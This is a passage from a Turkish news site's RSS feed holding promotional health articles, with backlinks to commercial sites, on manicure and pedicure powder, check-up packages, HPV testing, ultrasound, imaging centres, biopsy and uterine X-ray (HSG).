                <title>Manikür Tozu ve Pedikür Tozu</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/manikur-tozu-ve-pedikur-tozu-548571</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/manikur-tozu-ve-pedikur-tozu-548571</guid>
                <description><![CDATA[El tırnakları için bakım işlemlerini manikür tozu kolaylaştırır. İçeriğine göre fiyatları değişkenlik gösterir. Günlük yaşantımızda en ön planda bulunan el ve ayak tırnaklarımızın bakımı asla göz ardı edilmemelidir. Manikür ve pedikür uygulamaları ile daha güzel bir görünüme sahip olursunuz. Tozu kullanmanız durumunda el ve ayak tırnaklarınızın güzel görüntüsünün yanı sıra cildinizde de yenilenmeler, güzelleşmeler meydana gelir.]]></description>
                <content:encoded><![CDATA[<h1>&nbsp;</h1>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Manikür ve Pedikür Tozu nedir?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Pek çoğumuz manikür ve pedikür uygulamalarının ne kadar zorlu ve uzun süreler olduğunu biliriz. Bu sebeple bazı zamanlar üşendiğimizden veya vaktimiz olmadığından dolayı ertelemek zorunda kalırız. Manikür tozu ve <strong>pedikür</strong> <strong>tozu</strong> ile bu işlemleri daha kolay hale getirebilirsiniz.</span></span></p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Manikür ve Pedikür Tozu ne işe yarar?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Tırnak etlerini, topuklardaki ve diğer sertleşmiş derileri, nasırı yumuşatır. Bu sayede işlemler daha kolay ve basit hale gelir. Cildiniz yumuşar ve arınmış hale gelir. <a href="https://www.chicshoppings.com/kategori/manikur-pedikur-tozu" style="color:#0563c1; text-decoration:underline"><strong>Manikür tozu</strong></a> ile pratik kullanım sağlanabilir.</span></span></p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Pedikür Tozu nasıl kullanılır?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Tozu sıcak bir suyun boşaltmalısınız. Ancak kaynar su olmamalıdır. Toz sıcak suda daha kolay çözünmektedir. O yüzden bu noktaya dikkat etmelisiniz. Suyun yüzeyine serperken yayarak serpmeniz önemlidir. Aynı nokta üzerinde serptiğinizde aynı bölgede toparlanarak topaklanma oluşturabilir. Su koyacağınız kaba öncesinde tozu, sonrasında suyu koymanız durumunda topaklanmanın önüne geçebilirsiniz. Bu yöntem sayesinde daha iyi şekilde tozun çözündüğünü görebilirsiniz. Tozu dökülüp karıştırıldıktan sonra suda hafif kaygan bir yapı oluşabilir. Bu kayganlık içeriğinden dolayı gerçekleşebilir. Genel olarak içeriğinde zeytinyağı bulunan tozlarda bu kayganlık meydana gelmektedir.</span></span></p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Manikür ve Pedikür Tozu Neden Farklıdır?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Genel kapsamda manikür tozu ve <strong>pedikür tozu</strong> İçeriği bakımından değişebilmektedir. Ayak ve el cilt hassasiyeti farklı olduğundan dolayı tozun elde edildiği madde değişkenlik gösterebilmektedir. Farklı olmasının iyi yanı ise tahrişi engelleyebilmektedir. Bir bölgede zayıf gelen toz, diğer bölgede etkili bir fayda sağlayabilmektedir.&nbsp; </span></span></p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Aynı zamanda; ayak tırnak bakımları için <a href="https://www.chicshoppings.com/kategori/manikur-pedikur-tozu" style="color:#0563c1; text-decoration:underline"><strong>pedikür tozu</strong></a> oldukça etkili bir yöntem ve kolaylık olarak karşımıza çıkar.</span></span></p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Manikür Pedikür Kaç Günde Bir Yapılır?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">El tırnakları ortalama olarak haftada 1 uzamaktadır. Bu da haftada 1 bakım yapmanız gerektiği anlamına gelmektedir. Ancak ayak tırnakları ortalama 15 günde bir uzamaktadır. Tabi bu sizin uzunluk algınıza ve tırnak yapınıza göre değişkenlik gösteren bir etkendir. Bu işlemin bir standardı bulunmamaktadır. Tabi ki gerekmediği sürece çok sık uygulanmaması gerekmektedir. Çok sık kullanmanız durumunda cildinizde tahriş meydana gelebilir. Önemli olan bakım zamanı geldiğinde kullanıp daha sağlıklı ve kolay uygulama yapmak için kullanılmasıdır.</span></span></p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Manikür Ne Yapar?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Tırnaklarınızın daha güzel görünümde ve sağlıklı yapıda olmasını sağlar. Hayatınızda ilk kez manikür yapıyorsanız tırnak etlerini keserken dikkat etmelisiniz. Manikür makası ile temizleme yaparken uzayan tırnak etlerini tırnak pensi ile keserken dikkatli olmalısınız. Bu işlemden önce tırnaklarınızı iyice temizlemelisiniz. Oje sürülü olması durumunda ojeyi çıkarın ve tırnağınızı kurutun. Ilık suda ellerinizi 3-5 dakika kadar bekleterek el ve tırnak kenarı etlerinin yumuşaması için bekletmelisiniz. Sonrasında tercihinize göre tırnaklar istenilen oranda törpülenerek kısaltma yapılır ve tırnak diplerine krem veya yağ vb. sürülür. Kurutma işlemi yapıldıktan sonra da dilerseniz oje sürerek dikkat çeken görüntüye sahip olabilirsiniz.</span></span></p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Manikür ve Pedikür Tozu Kullanırken Dikkat Edilecek Noktalar</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Tozun içeriğinde boyar madde içermemesi, deterjan vb. köpürtücü madde içermemesi önemlidir. Tamamen doğal malzemelerden elde edildiğine emin olmalısınız. Cildinizi korumanız için içeriğine dikkat etmeniz önemlidir. </span></span></p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Manikür ve Pedikür Tozu Fiyatları 2022</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Tozu satın almak yerine güzellik merkezlerinde de uygulama yapabilirsiniz. Ancak uygulaması kolay olduğundan dolayı kendi elinizin altında bulunması işinizi daha basit hale getirecektir.<strong> Manikür tozu</strong> fiyatları markadan markaya ve sahip oldukları içeriğe göre değişkenlik göstermektedir.</span></span></p>]]></content:encoded>
                <pubDate>Wed, 16 Nov 2022 10:47:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler"/>
            </item>
                                <item>
                <title>Check Up Nedir? Check Up Paketleri Nelerdir?</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/check-up-nedir-check-up-paketleri-nelerdir-548544</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/check-up-nedir-check-up-paketleri-nelerdir-548544</guid>
                <description><![CDATA[]]></description>
                <content:encoded><![CDATA[<h2>&nbsp;</h2>

<p style="text-align:justify">&nbsp;</p>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">İnsanların vücudunda bir hastalık ve sorun olup olmadığını kontrol etmek ve erkenden tedaviye başlanmasını sağlayan ve insanlık için son derece faydalı olan bir diğer uygulama ise <strong>check up</strong> yaptırmaktır. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Check Up Nedir?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Genel olarak check up ve herkes tarafından bilinen en basit anlamı genel sağlık taramasına </span><a href="https://www.galenlab.com.tr/check-up/" style="color:#0563c1; text-decoration:underline"><strong><span style="font-family:&quot;Calibri&quot;,sans-serif">check up</span></strong></a><span style="font-family:&quot;Calibri&quot;,sans-serif"> denir. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Check Up Neleri Kapsar?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Genellikle </span><span style="font-family:&quot;Calibri&quot;,sans-serif">check up kan tahlili, şeker hastalığı taraması, akciğer röntgeni, romatizma gibi insan vücudunda bütün organları ve hastalıkların bakılmasını kapsar. Kişinin isteğine göre istediği bölgeye ve organa check up yaptırılabilir. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Check Up Nasıl Yapılır?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Geniş kapsamda</span><strong> </strong><span style="font-family:&quot;Calibri&quot;,sans-serif">check up yapılacak olan kişi kardiyoloji, göğüs hastalıkları, kulak burun boğaz, kan testi gibi gerekli olan bölümler sırası ile görüşme sağlanarak <strong>check up</strong> yapılır. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Check Up Paketleri Nelerdir?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Bilindiği gibi</span><strong> </strong><span style="font-family:&quot;Calibri&quot;,sans-serif">check up paketleri kişiye özel olarak kişinin yaşına durumuna göre oluşturulur. Genel olarak bu paketlerin içinde kan tahlilleri, röntgenlerle ve laboratuvar testleri bulunur. Standart ya da daha geniş kapsamlı check up paketleri yaptırabilir. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Check Up Ne Kadar Sürer?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Kişinin aldığı check up paketine ve bu paketin içinde bulunan tahlil ve testlere göre farklı olacak şekilde sürer. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Check Up Neden Yaptırmalısınız?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">İnsan vücudunda ve organlarda var olan hastalığın ve ilerde oluşabilecek ciddi hastalıkların olup olmadığını anlamak için check up yaptırılmalıdır. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>HPV Nedir?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Rahim ağzı kansere ve siğillere sebep olan virüse Hpv<strong> </strong>denir. Genel kapsamda<strong> </strong></span><a href="https://www.galenlab.com.tr/hpv-testi/" style="color:#0563c1; text-decoration:underline"><strong><span style="font-family:&quot;Calibri&quot;,sans-serif">hpv testi</span></strong></a><strong> </strong><span style="font-family:&quot;Calibri&quot;,sans-serif">ile rahim ağzı kanseri ve erkekte penis kanseri gibi hastalıkların olup olmadığını anlamak için yaptırılan teste denir. Dünya genelinde birçok insan HPV testi yaptırarak sağlık durumuna bakmakta ve çıkan sonuca göre eğer pozitifse geç kalmadan tedaviye başlamaktadır. Sonuç negatif çıksa daha kişiler tedbiri elden bırakmamalı ve dikkat etmelidir.</span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>HPV Virüsü (Sürüntü) Nasıl Alınır?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Geniş kapsamda</span><strong> </strong><span style="font-family:&quot;Calibri&quot;,sans-serif">HPV virüsü alınırken vajinaya spekulum yerleştirilir ve yumuşak bir fırça ile servikal hücreleri alınır. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>HPV Testi Nasıl Uygulanır? Kimlere Uygulanmalı?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Erkeklerde lezyondan örnek alınarak, kadınlarda ise vajinadan sürüntü alınarak <strong>Hpv testi </strong>yapılır. Hpv testi siğilleri olan ve risk grubunda olan kişilere uygulanmalıdır. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>HPV Nasıl Bulaşır? Kimlerde Görülür?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Erkeklerde ve kadınlarda görülen Hpv virüsü cinsel yolla bulaşır. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>HPV Pozitif Ne Demek? HPV Negatif Ne Demek?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Genellikle</span><strong> </strong><span style="font-family:&quot;Calibri&quot;,sans-serif">HPV pozitif çıkması demek Hpv virüsünün kişide olması demektir. HPV negatif demek kişide bu virüsün olmadığını gösterir. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>HPV Pozitif Belirtileri Nelerdir?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Genel olarak en sık görülen ve bilinen Hpv pozitif belirtisi kadınların vajina bölgesinde erkeklerin penis bölgesinde çıkan siğiller ve bundan emin olmak için <strong>Hpv testi </strong>yapılmalıdır. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Ultrason Nedir?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Yüksek frekanslı ses dalgaları ile vücudun görüntülenmesini sağlayan </span><a href="https://www.galenlab.com.tr/ultrason/" style="color:#0563c1; text-decoration:underline"><strong><span style="font-family:&quot;Calibri&quot;,sans-serif">ultrason</span></strong></a><span style="font-family:&quot;Calibri&quot;,sans-serif"> olarak karşımıza çıkar. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Ultrason Hangi Hastalıklarda Kullanılır?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Safra kesesi hastalığında, meme ve yumuşak dokularda oluşan tümörler de birçok enfeksiyon ve hastalıkta <strong>ultrason</strong> kullanılır. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Ultrason Nasıl Uygulanır?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Genellikle</span><strong> </strong><span style="font-family:&quot;Calibri&quot;,sans-serif">ultrason uygulanacak bölgeye özel bir jel sürülür ve ultrason aleti bu bölgede gezdirilir görüntüler ekrana yansıtır bu şekilde. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Ultrasona Öncesi Nelere Dikkat Etmek Gerekir?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Genel kapsamda</span><strong> </strong><span style="font-family:&quot;Calibri&quot;,sans-serif">ultrason öncesi doktor bazen kişinin aç ya da tok olmasını veya başka bir şey isteyebilir. Bunun haricinde cep telefon gibi elektronik eşyalar bu ortamda bulundurulmamasına dikkat edilmelidir. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Ultrason Ne Kadar Sürer?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Günümüzde </span><span style="font-family:&quot;Calibri&quot;,sans-serif">ultrason hastadan hastaya, hastanın durumuna göre farklı sürebilir. Ultrason genel olarak 20 ile 30 dakika arası sürmektedir. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<h2><span style="font-size:13pt"><span style="font-family:&quot;Calibri Light&quot;,sans-serif"><span style="color:#2f5496"><strong>Ultrason Sonuçları Ne Zaman Alınır?</strong></span></span></span></h2>

<p style="text-align:justify"><span style="font-size:11pt"><span style="font-family:Arial,sans-serif"><span style="font-family:&quot;Calibri&quot;,sans-serif">Aynı gün ya da en geç 1 gün sonra <strong>ultrason</strong> sonuçları alınır. </span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<p style="text-align:justify">&nbsp;</p>]]></content:encoded>
                <pubDate>Sat, 12 Nov 2022 18:12:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler"/>
            </item>
                                <item>
                <title>Görüntüleme Merkezi Hizmetleri Nelerdir?</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/goruntuleme-merkezi-hizmetleri-nelerdir-548543</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/goruntuleme-merkezi-hizmetleri-nelerdir-548543</guid>
                <description><![CDATA[Tomografi, renkli ultrason, emar ve röntgen gibi hizmet verilmektedir.]]></description>
                <content:encoded><![CDATA[<p>&nbsp;</p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">Tomografi, renkli ultrason, emar ve röntgen gibi hizmet verilmektedir.</span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><strong><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif"><span style="color:#5b9bd5">Görüntüleme Merkezi Ücretleri Ne kadar?</span></span></span></strong></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">Her çekim için farklı ücret tarifesi uygulanmaktadır. Görüntüleme merkezileri tarafından rahim filmi çekimi yapılmaktadır. Devlet hastanelerinde klasik röntgenler için ödeme alınmazken bazı özel film ve röntgenler için oldukça az bir miktarda ödeme alınmaktadır. <strong><span style="font-family:&quot;Arial&quot;,sans-serif">Görüntüleme merkezi </span></strong>bu açıdan bakıldığında bizler için önemlidir.</span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">Sağlık durumunun bazı durumlar sonucu bozulmasıyla birlikte vücut çeşitli belirtiler göstermeye başlar buna takriben, bir sağlık kuruluşuna gidip görünmek elzem olmaktadır. Bu hastalıkların teşhisi için hastaya çeşitli tahliller yapılırken bir de </span></span><a href="https://hsmradyoloji.com/" style="color:#0563c1; text-decoration:underline"><strong><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">görüntüleme merkezi</span></span></strong></a><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif"> yerine yönlendirilir. Hastanın tahliller ve röntgenler sonucunda hastalığı teşhis edilmediği takdirde bazı cerrahi operasyonlar gerekebilir. Örnek olarak <strong><span style="font-family:&quot;Arial&quot;,sans-serif">biyopsi </span></strong>bunlardan sadece biri diyebiliriz.</span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif"><span style="color:#5b9bd5">Biyopsi Nedir?<strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </strong></span></span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><strong><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">Biyopsi </span></span></strong><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">halk arasında “ parça almak” olarak bilinmektedir. Hasta olan kişilerin hastalık tanısının konulması için bir tür doku alımı olarak ifade edilebilir.</span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif"><span style="color:#5b9bd5">Biyopsi Nasıl Yapılır?</span></span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">Genellikle<strong> </strong></span></span><a href="https://hsmradyoloji.com/biyopsi/" style="color:#0563c1; text-decoration:underline"><strong><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">biyopsi</span></span></strong></a><strong> </strong><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">yapılacak olan kişi tarafından sıkça sorulan soru ise biyopsinin nasıl yapıldığı ile ilgilidir. İşlem genellikle sırt üstü olarak yatırılır. Hastanın en az 6 saat kadar aç kalması istenir. İlgili bölge damar yolu ile uyuşturulur. Hastalığın teşhis edilmesi adına bu kadar önemli olan bir konuda hastanın sadece daha gergin olmaması önemlidir.</span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif"><span style="color:#5b9bd5">Biyopsi Çeşitleri Nelerdir?</span></span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">Biyopsi çeşitleri genellikle bölgesel olarak belirlenir. Örneğin; akciğer biyopsisi, karaciğer biyopsisi, tiroit biyopsisi gibi bölgeler baz alınarak doku alımı yapılır. Her bölge için iğne kalın ya da ince olarak tercih edilir. Kapalı veya açık cerrahi operasyon ile yapılır.</span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif"><span style="color:#5b9bd5">Biyopsi Avantajları Nelerdir?</span></span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">Hastalığın teşhisi amacıyla <strong><span style="font-family:&quot;Arial&quot;,sans-serif">görüntüleme merkezi</span></strong> tarafından röntgenler çekilir. Ancak bu röntgenler yeterli olmadığı nokta da biyopsi yapılmaktadır. En büyük avantajı hastalığın kesin ve net olarak teşhisinde destek vermesidir<strong><span style="font-family:&quot;Arial&quot;,sans-serif">.</span></strong></span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif"><span style="color:#5b9bd5">Biyopsi Neden İstenir?</span></span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">Genellikle biyopsiyi doktorlar istemektedir. Doktor hastalığa net olarak tanı koymak ve tedaviye başlamak için bu yola başvurur.</span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><strong><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif"><span style="color:#5b9bd5">Biyopsi Ne Kadar Sürer?</span></span></span></strong></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">Hasta için uzun süre olduğu düşünülse de bu işlem aşağı yukarı olarak 15 ya da 20 Dakika kadar kısa süre içinde hal dilmektedir. Hastanın düşündüğü kadar uzun süreyi kapsamaz. Bir kan almak dahi en az beş dakika sürdüğü düşünüldüğünde kesim işlemi için dahi birkaç dakikaya ihtiyaç vardır. Ancak hastaya enjekte edilmiş ilaç sayesinde her hangi bir acı duyulmayacaktır.</span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><strong><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif"><span style="color:#5b9bd5">Rahim Filmi Nedir?</span></span></span></strong></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">Kadın hastalar için uygulanan bu işlem HGS yani </span></span><a href="https://hsmradyoloji.com/rahim-filmi/" style="color:#0563c1; text-decoration:underline"><strong><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif">rahim filmi</span></span></strong></a><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif"> rahim içinde herhangi bir hastalık olup olmadığının tespiti için yapılırken, özellikle anne olmak için tedaviye gelen hastalardan ilk olarak bu rahim filmi istenmektedir.</span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><strong><span style="font-size:10.0pt"><span style="font-family:&quot;Arial&quot;,sans-serif"><span style="color:#5b9bd5">Rahim Filmi Ne Zaman Çektirilir?</span></span></span></strong></span></span></p>

